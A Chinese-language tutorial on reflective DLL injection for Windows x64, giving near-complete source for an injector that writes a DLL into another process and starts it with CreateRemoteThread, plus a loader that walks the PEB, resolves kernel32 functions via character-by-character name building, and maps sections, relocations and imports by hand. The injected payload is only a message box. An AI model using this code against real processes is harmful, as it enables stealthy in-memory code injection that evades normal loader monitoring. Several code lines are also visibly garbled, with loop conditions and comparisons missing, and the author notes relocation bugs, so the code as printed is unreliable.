感觉反射式注入与普通注入的最大区别就是不加载系统的API去加载我们的文件,也就是不调用Loadlibrary,而是让我们手动实现装载过程,网上的文章说可以在DLL的导出表中添加ReflectiveLoader函数调用它。
由于调用它的时候,不确定DLL文件写到目标进程的哪个虚拟空间上,所以这个编写的函数必须与地址无关,这种代码叫(position-independent code)PIC,暂时理解成在DLL的导出表写入一个函数,这个函数的功能就是PELOADER。
工具
一个注射器和一个被注入的DLL
涉及知识
PEB和TEB,PEloader,dll注入(创建远程线程),函数指针,手动实现strncpy,memmove等。
X64dbg调试
我们需要x64dbg去调试查看函数的调用,内存窗口等查看值是否在里面,这里在文件—附加里面可以附加进程。
然后用vs去附加进程调试
这里可以添加监视,然后复制值到x64dbg里面,就可以实时监视我们的文件在如何被操作。
注射器
大致流程
1.将注入DLL读入自身内存
2.利用VirtualAlloc和WriteProcessMemory在目标进程中写入待注入的DLL文件
3.利用CreateRemoteThread等函数启动目标进程的ReflectiveLoader
一:遍历DLL的导出表
因为我的注射器采用的是以创建远程线程为模板,具体的代码不过多分析,就分析和普通创建远程线程不一样的调用自身函数的地方,前面所说,我们是把类似于PEloader的代码写成一个函数放在DLL文件的导出表当中。
DWORD GetReflectiveLoaderOffset(VOID* lpReflectiveDllBuffer)
{
UINT_PTR BaseAddress = 0;
UINT_PTR uiNT = 0;
UINT_PTR uiNameArray = 0;
UINT_PTR uiAddressArray = 0;
UINT_PTR uiNameOrdinals = 0;
DWORD dwCounter = 0;
#ifdef WIN_X64
DWORD dwCompiledArch = 2;
#else
DWORD dwCompiledArch = 1;
#endif
BaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
uiNT = BaseAddress + ((PIMAGE_DOS_HEADER)BaseAddress)->e_lfanew;
if (((PIMAGE_NT_HEADERS)uiNT)->OptionalHeader.Magic == 0x010B)
{
if (dwCompiledArch != 1)
return 0;
}
else if (((PIMAGE_NT_HEADERS)uiNT)->OptionalHeader.Magic == 0x020B)
{
if (dwCompiledArch != 2)
return 0;
}
else
{
return 0;
}
uiNameArray = (UINT_PTR) & ((PIMAGE_NT_HEADERS)uiNT)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
uiNT = BaseAddress + RVA(((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, BaseAddress);
uiNameArray = BaseAddress + RVA(((PIMAGE_EXPORT_DIRECTORY)uiNT)->AddressOfNames, BaseAddress);
uiAddressArray = BaseAddress + RVA(((PIMAGE_EXPORT_DIRECTORY)uiNT)->AddressOfFunctions, BaseAddress);
uiNameOrdinals = BaseAddress + RVA(((PIMAGE_EXPORT_DIRECTORY)uiNT)->AddressOfNameOrdinals, BaseAddress);
dwCounter = ((PIMAGE_EXPORT_DIRECTORY)uiNT)->NumberOfNames;
while (dwCounter--)
{
char* cpExportedFunctionName = (char*)(BaseAddress + RVA(*(DWORD*)(uiNameArray), BaseAddress));
printf("Exported function: %s\n", cpExportedFunctionName);
if (strstr(cpExportedFunctionName, "reflectiveinject") != NULL)
{
uiAddressArray = BaseAddress + RVA(((PIMAGE_EXPORT_DIRECTORY)uiNT)->AddressOfFunctions, BaseAddress);
uiAddressArray += (*(WORD*)(uiNameOrdinals) * sizeof(DWORD));
return RVA(*(DWORD*)(uiAddressArray), BaseAddress);
}
uiNameArray += sizeof(DWORD);
uiNameOrdinals += sizeof(WORD);
}
return 0;
}
RVA函数是将虚拟地址RVA转换为文件的偏移量,这里通过遍历导出函数名称表去寻找函数,找到之后返回这个函数的地址的偏移量。
DWORD RVA(DWORD dwRva, UINT_PTR BaseAddress)
{
WORD wIndex = 0;
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
pNtHeaders = (PIMAGE_NT_HEADERS)(BaseAddress + ((PIMAGE_DOS_HEADER)BaseAddress)->e_lfanew);
pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);
if (dwRva 0].PointerToRawData)
return dwRva;
for (wIndex = 0; wIndex FileHeader.NumberOfSections; wIndex++)
{
if (dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva
return (dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData);
}
return 0;
}
二:注入dll
这里就很明显了,先是申请内存装DLL,再把DLL写进去,接下来就是去加载DLL,注意,CreatRemoteThread的第四个参数的强制类型转换是转换成远程函数的入口地址,第五个参数是给函数的参数。
int InjectDllToProcess(HANDLE hProcess, void* dllBuffer, size_t dllSize) {
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)dllBuffer;
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
printf("Invalid DOS header.\n");
return 0;
}
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBuffer + dosHeader->e_lfanew);
if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) {
printf("Invalid NT header.\n");
return 0;
}
DWORD functionOffest = GetReflectiveLoaderOffset(dllBuffer);
LPVOID remoteDllBase = VirtualAllocEx(hProcess, NULL, dllSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (remoteDllBase == NULL) {
printf("Failed to allocate memory in target process.\n");
return 0;
}
if (!WriteProcessMemory(hProcess, remoteDllBase, dllBuffer, dllSize, NULL)) {
printf("Failed to write DLL data to target process memory.\n");
return 0;
}
LPTHREAD_START_ROUTINE function = (LPTHREAD_START_ROUTINE)((ULONG_PTR)remoteDllBase + functionOffest);
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)function, remoteDllBase, 0, NULL);
if (hThread == NULL) {
printf("Failed to create remote thread.\n");
return 0;
}
}
源码放在最后
DLL的reflectiveinject
一:通过PEB去加载模块的kernerl32DLL
extern "C" _declspec(dllexport) int reflectiveinject(char* Buf) {
int checkPE = 0;
int i = 0;
PIMAGE_DOS_HEADER dosheader = (PIMAGE_DOS_HEADER)Buf;
PIMAGE_NT_HEADERS64 ntheader = (PIMAGE_NT_HEADERS64)((ULONG_PTR)Buf + dosheader->e_lfanew);
if (dosheader->e_magic == IMAGE_DOS_SIGNATURE) {
if (ntheader->Signature == IMAGE_NT_SIGNATURE) {
checkPE = 1;
}
}
if (checkPE == 0) {
return 0;
}
PVOID peb = (PEB*)__readgsqword(0x60);
if (!peb) {
return FALSE;
}
PVOID LDR = *(PVOID64**)((BYTE*)peb + 0x18);
UNICODE_STRING* fullname;
LIST_ENTRY* list = NULL;
list = (LIST_ENTRY*)(*(PVOID64**)((BYTE*)LDR + 0x30));
LIST_ENTRY* current = list->Flink;
wchar_t temp[13];
HMODULE kernerl32 = NULL;
wchar_t kerner[13] = L"kernel32.dll";
kerner[0] = L'k';
kerner[1] = L'e';
kerner[2] = L'r';
kerner[3] = L'n';
kerner[4] = L'e';
kerner[5] = L'l';
kerner[6] = L'3';
kerner[7] = L'2';
kerner[8] = L'.';
kerner[9] = L'd';
kerner[10] = L'l';
kerner[11] = L'l'
;
kerner[12] = L'\0';
while (current != list) {
PLDR_DATA_TABLE_ENTRY start = (LDR_DATA_TABLE_ENTRY*)((PCHAR)current - 0x10);
if (start && start->FullDllName.Buffer) {
WCHAR* buffer = start->FullDllName.Buffer;
WCHAR* zhong = buffer;
WCHAR* jian = NULL;
while (*zhong) {
if (*zhong == L'\\') {
jian = zhong + 1;
}
zhong++;
}
if (!jian) {
jian = buffer;
}
int match = 1;
int i = 0;
while (kerner[i] != L'\0' || jian[i] != L'\0') {
WCHAR currentChar = kerner[i];
WCHAR targetChar = jian[i];
if (targetChar >= L'A' && targetChar <= L'Z') {
targetChar += 32;
}
if (currentChar != targetChar) {
match = 0;
break;
}
i++;
}
if (match) {
char* jiancha="find it";
kernerl32 = (HMODULE)start->DllBase;
break;
}
}
current = current->Flink;
if (!current) {
MessageBoxA(NULL, "can not find the module", "error", MB_OK);
return FALSE;
}
}
二:遍历DLL去寻找导出函数
前面提到的注射器中也要遍历dll找导出函数,不过因为我的这个dll还没有被加载,所以肯定不能直接使用strstr这些函数,以及调用自己的函数(如果想自己写函数可以先加载节区头),这里我一共找了三个函数,这里列举一个。
PIMAGE_DOS_HEADER KDosHeader = (PIMAGE_DOS_HEADER)((BYTE*)kernerl32);
PIMAGE_NT_HEADERS64 Ntheader = (PIMAGE_NT_HEADERS64)((BYTE*)KDosHeader + KDosHeader->e_lfanew);
PIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)KDosHeader + Ntheader->OptionalHeader.DataDirectory[0].VirtualAddress);
ULONG kernernum = pExportTable->NumberOfNames;
WORD* pFunctionOrdinals = (WORD*)((BYTE*)kernerl32 + pExportTable->AddressOfNameOrdinals);
DWORD* pFunctionAddresses = (DWORD*)((BYTE*)kernerl32 + pExportTable->AddressOfFunctions);
DWORD* kfunname = (DWORD*)((BYTE*)KDosHeader + pExportTable->AddressOfNames);
char* kname = NULL;
KVirtualAlloc mymyVirtualAlloc = NULL;
KLoadLibraryA mymyloadlibrary = NULL;
KGetProcAddress mymyGetProcAddress = NULL;
char a2[13] = "";
a2[0] = 'V';
a2[1] = 'i';
a2[2] = 'r';
a2[3] = 't';
a2[4] = 'u';
a2[5] = 'a';
a2[6] = 'l';
a2[7] = 'A';
a2[8] = 'l';
a2[9] = 'l';
a2[10] = 'o';
a2[11] = 'c';
a2[12] = '\0';
PVOID myVirtualAlloc=NULL;
for (int i = 0; i kname = (char*)((BYTE*)KDosHeader + kfunname[i]);
(char*):
int j = 0;
while (a2[j] != '\0') {
if (kname[j] != a2[j]) {
break;
}
j++;
}
if (j==12) {
DWORD funcOffset = pFunctionAddresses[pFunctionOrdinals[i]];
mymyVirtualAlloc = (KVirtualAlloc)((BYTE*)kernerl32 + funcOffset);
break;
}
}
三:循环加载节区头
if (ntheader->OptionalHeader.SectionAlignment OptionalHeader.FileAlignment) {
return 0;
}
int num = ntheader->FileHeader.NumberOfSections;
while (num) {
int j = Sectionheader->Misc.VirtualSize % secalign;
if (j != 0) {
j = (Sectionheader->Misc.VirtualSize / secalign) + 1;
}
else {
j = Sectionheader->Misc.VirtualSize / secalign;
}
DWORD dwvirsize = j * Sectionheader->Misc.VirtualSize * secalign;
DWORD realsize = Sectionheader->SizeOfRawData > dwvirsize ? dwvirsize : Sectionheader->SizeOfRawData;
void* st = (pAlloc + Sectionheader->VirtualAddress);
void* sour = (PBYTE)Buf + Sectionheader->PointerToRawData;
if (st for (int i = 0; i <= realsize; i++) {
*((char*)st + i) = *((char*)sour + i);
}
}
else if (st > sour) {
for (int i = realsize; i >= 0; i--) {
*((char*)st + i) = *((char*)sour + i);
}
}
Sectionheader = (PIMAGE_SECTION_HEADER)((PBYTE)Sectionheader + (BYTE)(sizeof(IMAGE_SECTION_HEADER)));
num--;
}
四:循环加载重定位表
PIMAGE_BASE_RELOCATION Basereloc = (PIMAGE_BASE_RELOCATION)(ntheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress + pAlloc);
int sizeofBasereloc = ntheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
if (ntheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0) {
do {
PWORD TypeOffset = (WORD*)((PBYTE)Basereloc + 8);
num = (Basereloc->SizeOfBlock - 8) / 2;
for (int i = 0; i WORD type = TypeOffset[i] >> 12;
WORD offset = TypeOffset[i] & 0xFFF;
int differ = 0;
if (type == 3) {
differ = *((DWORD*)(offset + (Basereloc->VirtualAddress) + pAlloc)) - ntheader->OptionalHeader.ImageBase;
int p = (DWORD)pAlloc + differ;
void* est = (pAlloc + offset + Basereloc->VirtualAddress);
void* sour = &p;
if (est for (int i = 0; i <= 4; i++) {
*((char*)est + i) = *((char*)sour + i);
}
}
else if (est > sour) {
for (int i = 4; i >= 0; i--) {
*((char*)est + i) = *((char*)sour + i);
}
}
}
}
sizeofBasereloc -= Basereloc->SizeOfBlock;
Basereloc = (PIMAGE_BASE_RELOCATION)((PBYTE)Basereloc + Basereloc->SizeOfBlock);
} while (sizeofBasereloc);
}
五:加载导入表
PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)(ntheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + pAlloc);
if (pImport != NULL)
{
while (pImport->Name != NULL)
{
char DLLname[50] = "0";
char* mu = (char*)(pImport->Name + pAlloc);
for (int i = 0; i 49&&mu[i]!='\0'; i++) {
DLLname[i] = mu[i];
}
DLLname[49] = '\0';
HMODULE hProcess = mymyloadlibrary(DLLname);
if (!hProcess)
{
char err[100];
MessageBoxA(NULL, err, "Error", MB_OKCANCEL);
return FALSE;
}
PIMAGE_THUNK_DATA64 pINT = (PIMAGE_THUNK_DATA64)(pImport->OriginalFirstThunk + pAlloc);
PIMAGE_THUNK_DATA64 pIAT = (PIMAGE_THUNK_DATA64)(pImport->FirstThunk + pAlloc);
while ((ULONG_PTR)(pINT->u1.AddressOfData) != NULL)
{
PIMAGE_IMPORT_BY_NAME pFucname = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.AddressOfData + pAlloc);
if (pINT->u1.AddressOfData & IMAGE_ORDINAL_FLAG32)
{
pIAT->u1.AddressOfData = (ULONG_PTR)(mymyGetProcAddress(hProcess, (LPCSTR)(pINT->u1.AddressOfData)));
}
else
{
pIAT->u1.AddressOfData = (ULONG_PTR)(mymyGetProcAddress(hProcess, pFucname->Name));
}
pINT++;
pIAT++;
}
pImport++;
}
}
六:执行main函数
ProcMain MMain = NULL;
MMain = (ProcMain)(ntheader->OptionalHeader.AddressOfEntryPoint + (ULONG_PTR)pAlloc);
MMain();
return true;
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
MessageBox(NULL, L"SUCCESS", L"great", MB_OK);
return TRUE;
}
遇到的异常
1.vs自动生成的代码会有错误,想想可能nop掉或者说换个编译器,也有可能是全局变量的问题,这里我们先nop
跳过这个异常执行后面的用户代码再后来看看。
看第一段,代码点进去发现没有什么用,后来才知道 Visual Studio 的MSVC编译器会对类成员函数默认使用__thiscall
调用约定。这是微软编译器的一种特性,特别是当处理 C++ 类成员函数时,this
指针会被隐式传递。
明确了,先学PEB和TEB寻找函数,然后再调用函数去使用,可以详细看看rdi的代码是如何运行的。
2.代码消失
这里如果改了优化,代码块可能会被vs自动识别一些冗余或者大小的代码,所以如果遇到代码突然消失(指的是在x64,ida死活找不到代码的时候),先看看这个吧。我这里消失了因为我改优化成了一些最大优化。
3.局部变量异常
这种定义因为会在下面里面继续用,所以不要放在循环里面去定义它,不然会只是一个局部变量,就会是一个空指针。
4.强转错误
请注意一些32位和64位的区别。
基础字符类型
类型 | 定义 | 说明 |
char
| 单字节字符 | 用于表示 ANSI 或 ASCII 字符。 |
wchar_t
| 宽字符(2 字节/4 字节) | 用于表示 Unicode 字符(Windows 下为 UTF-16)。 |
TCHAR
| 宏定义的字符类型 | 根据字符集(ANSI/Unicode)选择char 或wchar_t
|
2. 字符串指针类型
类型 | 定义 | 说明 |
LPSTR
| typedef char* LPSTR;
| 指向普通字符串(char* )。 |
LPCSTR
| typedef const char* LPCSTR;
| 指向常量普通字符串(const char* )。 |
LPWSTR
| typedef wchar_t* LPWSTR;
| 指向宽字符字符串(wchar_t* )。 |
LPCWSTR
| typedef const wchar_t* LPCWSTR;
| 指向常量宽字符字符串(const wchar_t* )。 |
LPTSTR
| typedef TCHAR* LPTSTR;
| 指向TCHAR 字符串。 |
LPCTSTR
| typedef const TCHAR* LPCTSTR;
| 指向常量TCHAR 字符串 |
5.位数错误
int differ = *((DWORD*)(offset + (Basereloc->VirtualAddress) + pAlloc)) - ntheader->OptionalHeader.ImageBase;
int p = (DWORD)pAlloc + differ;
◆使用的是DWORD
(32 位无符号整数)作为地址计算和存储数据。
◆问题:如果运行在 64 位程序中,DWORD
不足以表示完整的 64 位地址,这可能导致重定位出错。
◆应该是 ULONG_PTR 可能会更好,但是这个也可以
◆32 位平台:ULONG_PTR
定义为一个 32 位的无符号整数(通常是unsigned long
)。
◆64 位平台:ULONG_PTR
定义为一个 64 位的无符号整数(通常是unsigned long long
或unsigned __int64
)。
DWORD
| 适用于存储状态码、32 位整数等。 | 在 64 位程序中不能表示完整指针或地址,需用ULONG_PTR 替代。 |
ULONG_PTR
| 适合跨平台存储指针、地址或大小。 | 无明显不足,是处理跨平台指针数据的最佳选择。 |
SIZE_T
| 用于内存分配或大小计算。 | 同ULONG_PTR ,但更专注于大小而非指针。 |
ASCII 和 Unicode 的对比表
Unicode和宽字符匹配,一般一起用,windowsAPI要求使用的都是宽字符。
特性 | ASCII | Unicode |
字符范围 | 0~127 或 0~255 | 0~1,114,111 |
存储方式 | 1 字节 | UTF-8: 1~4 字节 UTF-16: 2~4 字节 UTF-32: 4 字节 |
支持语言 | 仅支持英语等基本符号 | 支持几乎所有语言和符号 |
是否向下兼容 | 无 | 向下兼容 ASCII |
主要用途 | 英文字符和控制符 | 全球化应用,适配多语言系统 |
手动实现memcpy:
cpp
复制代码
void* est = (pAlloc + offset + Basereloc->VirtualAddress);
void* sour = &p;
if (est for (int i = 0; i <= 4; i++) {
*((char*)est + i) = *((char*)sour + i);
}
} else if (est > sour) {
for (int i = 4; i >= 0; i--) {
*((char*)est + i) = *((char*)sour + i);
}
}
◆手动实现了类似memcpy
的功能,但逐字节复制,分成了从前向后和从后向前两种情况。
◆问题:代码显得冗长,且对于 64 位程序不支持8 字节
地址字段
◆使用简单的循环逐字节复制,但没有处理8 字节
地址的情况。
◆如果是 64 位程序,代码仍需调整以支持ULONG_PTR
的完整长度。。
手动实现strncpy
char *strncpy(char *dest, const char *src, size_t n);
如果源字符串的长度小于n
,那么目标数组的剩余部分会用'\0'
填充,确保目标字符串是正确的 C 字符串(以\0
结尾)。
strncpy
可以防止因源字符串过长导致的缓冲区溢出,尤其在处理用户输入或不确定字符串长度时比较有用。
memcpy
用于复制任意类型的内存块,并不关心目标数组是否是字符串。
char DLLname[50];
char* mu = (char*)(pImport->Name + pAlloc);
for (int i = 0; i 50&&DLLname[i]!='\0'; i++) {
DLLname[i] = mu[i];
}
DLLname[i] = '\0';
手动实现memmove
void* dest = (pAlloc + offset + Basereloc->VirtualAddress);
void* sour = &p;
if (dest for (int i = 0; i <= 4; i++) {
*((char*)dest + i) = *((char*)sour + i);
}
}
else if (dest > sour) {
for (int i = 4; i >= 0; i--) {
*((char*)dest + i) = *((char*)sour + i);
}
}
源码
#include
#include "pch.h"
#include
#include
#include
#include
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
typedef struct _PEB_LDR_DATA {
ULONG Length;
BOOLEAN Initialized;
HANDLE SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PPEB_LDR_DATA Ldr;
} PEB, * PPEB;
typedef HMODULE(WINAPI* KLoadLibraryA)(LPCSTR);
typedef FARPROC(WINAPI* KGetProcAddress)(HMODULE, LPCSTR);
typedef LPVOID(WINAPI* KVirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL(__cdecl* ProcMain)();
extern "C" _declspec(dllexport) int reflectiveinject(char* Buf) {
int checkPE = 0;
int i = 0;
PIMAGE_DOS_HEADER dosheader = (PIMAGE_DOS_HEADER)Buf;
PIMAGE_NT_HEADERS64 ntheader = (PIMAGE_NT_HEADERS64)((ULONG_PTR)Buf + dosheader->e_lfanew);
if (dosheader->e_magic == IMAGE_DOS_SIGNATURE) {
if (ntheader->Signature == IMAGE_NT_SIGNATURE) {
checkPE = 1;
}
}
if (checkPE == 0) {
return 0;
}
PVOID peb = (PEB*)__readgsqword(0x60);
if (!peb) {
return FALSE;
}
PVOID LDR = *(PVOID64**)((BYTE*)peb + 0x18);
UNICODE_STRING* fullname;
LIST_ENTRY* list = NULL;
list = (LIST_ENTRY*)(*(PVOID64**)((BYTE*)LDR + 0x30));
LIST_ENTRY* current = list->Flink;
wchar_t temp[13];
HMODULE kernerl32 = NULL;
wchar_t kerner[13] = L"kernel32.dll";
kerner[0] = L'k';
kerner[1] = L'e';
kerner[2] = L'r';
kerner[3] = L'n';
kerner[4] = L'e';
kerner[5] = L'l';
kerner[6] = L'3';
kerner[7] = L'2';
kerner[8] = L'.';
kerner[9] = L'd';
kerner[10] = L'l';
kerner[11] = L'l';
kerner[12] = L'\0';
while (current != list) {
PLDR_DATA_TABLE_ENTRY start = (LDR_DATA_TABLE_ENTRY*)((PCHAR)current - 0x10);
if (start && start->FullDllName.Buffer) {
WCHAR* buffer = start->FullDllName.Buffer;
WCHAR* zhong = buffer;
WCHAR* jian = NULL;
while (*zhong) {
if (*zhong == L'\\') {
jian = zhong + 1;
}
zhong++;
}
if (!jian) {
jian = buffer;
}
int match = 1;
int i = 0;
while (kerner[i] != L'\0' || jian[i] != L'\0') {
WCHAR currentChar = kerner[i];
WCHAR targetChar = jian[i];
if (targetChar >= L'A' && targetChar <= L'Z') {
targetChar += 32;
}
if (currentChar != targetChar) {
match = 0;
break;
}
i++;
}
if (match) {
char* jiancha="find it";
kernerl32 = (HMODULE)start->DllBase;
break;
}
}
current = current->Flink;
if (!current) {
MessageBoxA(NULL, "can not find the module", "error", MB_OK);
return FALSE;
}
}
PIMAGE_DOS_HEADER KDosHeader = (PIMAGE_DOS_HEADER)((BYTE*)kernerl32);
PIMAGE_NT_HEADERS64 Ntheader = (PIMAGE_NT_HEADERS64)((BYTE*)KDosHeader + KDosHeader->e_lfanew);
PIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)KDosHeader + Ntheader->OptionalHeader.DataDirectory[0].VirtualAddress);
ULONG kernernum = pExportTable->NumberOfNames;
WORD* pFunctionOrdinals = (WORD*)((BYTE*)kernerl32 + pExportTable->AddressOfNameOrdinals);
DWORD* pFunctionAddresses = (DWORD*)((BYTE*)kernerl32 + pExportTable->AddressOfFunctions);
DWORD* kfunname = (DWORD*)((BYTE*)KDosHeader + pExportTable->AddressOfNames);
char* kname = NULL;
KVirtualAlloc mymyVirtualAlloc = NULL;
KLoadLibraryA mymyloadlibrary = NULL;
KGetProcAddress mymyGetProcAddress = NULL;
char a2[13] = "";
a2[0] = 'V';
a2[1] = 'i';
a2[2] = 'r';
a2[3] = 't';
a2[4] = 'u';
a2[5] = 'a';
a2[6] = 'l';
a2[7] = 'A';
a2[8] = 'l';
a2[9] = 'l';
a2[10] = 'o';
a2[11] = 'c';
a2[12] = '\0';
PVOID myVirtualAlloc=NULL;
for (int i = 0; i kname = (char*)((BYTE*)KDosHeader + kfunname[i]);
int j = 0;
while (a2[j] != '\0') {
if (kname[j] != a2[j]) {
break;
}
j++;
}
if (j==12) {
DWORD funcOffset = pFunctionAddresses[pFunctionOrdinals[i]];
mymyVirtualAlloc = (KVirtualAlloc)((BYTE*)kernerl32 + funcOffset);
break;
}
}
char a3[15] = "";
a3[0] = 'G';
a3[1
] = 'e';
a3[2] = 't';
a3[3] = 'P';
a3[4] = 'r';
a3[5] = 'o';
a3[6] = 'c';
a3[7] = 'A';
a3[8] = 'd';
a3[9] = 'd';
a3[10] = 'r';
a3[11] = 'e';
a3[12] = 's';
a3[13] = 's';
a3[14] = '\0';
PVOID myGetProcAddress=NULL;
for (int i = 0; i kname = (char*)((BYTE*)KDosHeader + kfunname[i]);
int j = 0;
while (a3[j] != '\0') {
if (kname[j] != a3[j]) {
break;
}
j++;
}
if (j==14) {
DWORD funcOffset = pFunctionAddresses[pFunctionOrdinals[i]];
mymyGetProcAddress = (KGetProcAddress)((BYTE*)KDosHeader + funcOffset);
break;
}
}
char a4[12] = "";
a4[0] = 'L';
a4[1] = 'o';
a4[2] = 'a';
a4[3] = 'd';
a4[4] = 'L';
a4[5] = 'i';
a4[6] = 'b';
a4[7] = 'r';
a4[8] = 'a';
a4[9] = 'r';
a4[10] = 'y';
a4[11] = '\0';
PVOID myloadlibrary=NULL;
for (int i = 0; i kname = (char*)((BYTE*)KDosHeader + kfunname[i]);
int j = 0;
while (a4[j] != '\0') {
if (kname[j] != a4[j]) {
break;
}
j++;
}
if (j==11) {
DWORD funcOffset = pFunctionAddresses[pFunctionOrdinals[i]];
mymyloadlibrary = (KLoadLibraryA)((BYTE*)KDosHeader + funcOffset);
break;
}
}
if (mymyVirtualAlloc == 0) {
MessageBoxA(NULL, "where is the mymyVirtualAlloc", "no", MB_OK);
}
if (mymyloadlibrary == 0) {
MessageBoxA(NULL, "where is the lodalibrary", "no", MB_OK);
}
if (mymyGetProcAddress == 0) {
MessageBoxA(NULL, "where is the mymyGetProcAddress", "no", MB_OK);
}
PIMAGE_SECTION_HEADER Sectionheader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&ntheader->OptionalHeader) + ntheader->FileHeader.SizeOfOptionalHeader);
DWORD secalign = ntheader->OptionalHeader.SectionAlignment;
DWORD filealign = ntheader->OptionalHeader.FileAlignment;
PBYTE pAlloc = (PBYTE)mymyVirtualAlloc(NULL, ntheader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pAlloc == NULL) {
return 0;
}
void* t = pAlloc;
for (int i = 0; i OptionalHeader.SizeOfImage); i++) {
*((char*)t + i) = 0;
}
DWORD dwsizeofHeader = ntheader->OptionalHeader.SizeOfHeaders;
void* dest = pAlloc;
void* sour = (PBYTE)Buf;
if (dest for (int i = 0; i <= dwsizeofHeader; i++) {
*((char*)dest + i) = *((char*)sour + i);
}
}
else if (dest > sour) {
for (int i = dwsizeofHeader; i >= 0; i--) {
*((char*)dest + i) = *((char*)sour + i);
}
}
if (ntheader->OptionalHeader.SectionAlignment OptionalHeader.FileAlignment) {
return 0;
}
int num = ntheader->FileHeader.NumberOfSections;
while (num) {
int j = Sectionheader->Misc.VirtualSize % secalign;
if (j != 0) {
j = (Sectionheader->Misc.VirtualSize / secalign) + 1;
}
else {
j = Sectionheader->Misc.VirtualSize / secalign;
}
DWORD dwvirsize = j * Sectionheader->Misc.VirtualSize * secalign;
DWORD realsize = Sectionheader->SizeOfRawData > dwvirsize ? dwvirsize : Sectionheader->SizeOfRawData;
void* st = (pAlloc + Sectionheader->VirtualAddress);
void* sour = (PBYTE)Buf + Sectionheader->PointerToRawData;
if (st for (int i = 0; i <= realsize; i++) {
*((char*)st + i) = *((char*)sour + i);
}
}
else if (st > sour) {
for (int i = realsize; i >= 0; i--) {
*((char*)st + i) = *((char*)sour + i);
}
}
Sectionheader = (PIMAGE_SECTION_HEADER)((PBYTE)Sectionheader + (BYTE)(sizeof(IMAGE_SECTION_HEADER)));
num--;
}
PIMAGE_BASE_RELOCATION Basereloc = (PIMAGE_BASE_RELOCATION)(ntheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress + pAlloc);
int sizeofBasereloc = ntheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
if (ntheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0) {
do {
PWORD TypeOffset = (WORD*)((PBYTE)Basereloc + 8);
num = (Basereloc->SizeOfBlock - 8) / 2;
for (int i = 0; i WORD type = TypeOffset[i] >> 12;
WORD offset = TypeOffset[i] & 0xFFF;
int differ = 0;
if (type == 3) {
differ = *((DWORD*)(offset + (Basereloc->VirtualAddress) + pAlloc)) - ntheader->OptionalHeader.ImageBase;
int p = (DWORD)pAlloc + differ;
void* est = (pAlloc + offset + Basereloc->VirtualAddress);
void* sour = &p;
if (est for (int i = 0; i <= 4; i++) {
*((char*)est + i) = *((char*)sour + i);
}
}
else if (est > sour) {
for (int i = 4; i >= 0; i--) {
*((char*)est + i) = *((char*)sour + i);
}
}
}
}
sizeofBasereloc -= Basereloc->SizeOfBlock;
Basereloc = (PIMAGE_BASE_RELOCATION)((PBYTE)Basereloc + Basereloc->SizeOfBlock);
} while (sizeofBasereloc);
}
PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)(ntheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + pAlloc);
if (pImport != NULL)
{
while (pImport->Name != NULL)
{
char DLLname[50] = "0";
char* mu = (char*)(pImport->Name + pAlloc);
for (int i = 0; i 49&&mu[i]!='\0'; i++) {
DLLname[i] = mu[i];
}
DLLname[49] = '\0';
HMODULE hProcess = mymyloadlibrary(DLLname);
if (!hProcess)
{
char err[100];
MessageBoxA(NULL, err, "Error", MB_OKCANCEL);
return FALSE;
}
PIMAGE_THUNK_DATA64 pINT = (PIMAGE_THUNK_DATA64)(pImport->OriginalFirstThunk + pAlloc);
